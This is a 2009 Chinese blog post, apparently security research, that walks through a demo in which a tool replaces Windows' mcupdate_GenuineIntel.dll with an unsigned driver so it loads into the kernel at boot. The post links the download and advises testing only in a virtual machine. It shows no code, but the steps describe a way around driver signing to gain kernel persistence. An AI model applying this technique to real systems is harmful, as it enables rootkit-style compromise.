<p>所以测试这个DEMO务必在虚拟机中进行，并且最好开启boot debugging,用WINDBG调试系统，这样就不会因为没签名而无法启动，一旦进不去了，用vmware直接映射虚拟机系统盘都改不了mcupdate_GenuineIntel.dll ~当然我的这个DEMO程序可以改，参考微软的话：</p>
<p>*** Windows is unable to verify the signature of the file \Windows\system32\mcupdate_GenuineIntel.dll.  It will be allowed to load  because the boot debugger is enabled.</p>
<p>demo程序下载:http://www.debugman.com/read.php?tid=3048</p>
<p>使用方法:</p>
<p>(1).虚拟机内测试，做好snapshot,用bcdedit /bootdebug on和bcdedit /debug on开启BOOT调试，用WINDBG调试虚拟机(此步骤不是必须，但以防万一~不然进不了系统不要找我）</p>
<p>(2).备份system32下mcupdate_xxxxx.dll(xxxx为你的CPU类型）文件</p>
<p>(3).将xxload.exe和mcud.sys复制到同一目录(例如桌面），以管理员权限运行xxload.exe</p>
<p>(4).你可以看到成功的提示后，用冰刃等工具查看内核模块列表，可以看到大小4096的mcud.sys已经成功进驻内核模块，同时c:\windows\system32\mcupdate_xxxx.dll也被改成了这个文件</p>
<p>(5).完了将备份的mcupdate覆盖为mcud.sys，运行xxload将文件覆盖回来，不然重启就启动不了了~</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/5d6d4bafc61ce2f3fbed50ef.html#comment">查看评论</a>]]></description>
        <pubDate>2009-05-10  03:25</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/5d6d4bafc61ce2f3fbed50ef.html</guid>
</item>


</channel>
</rss>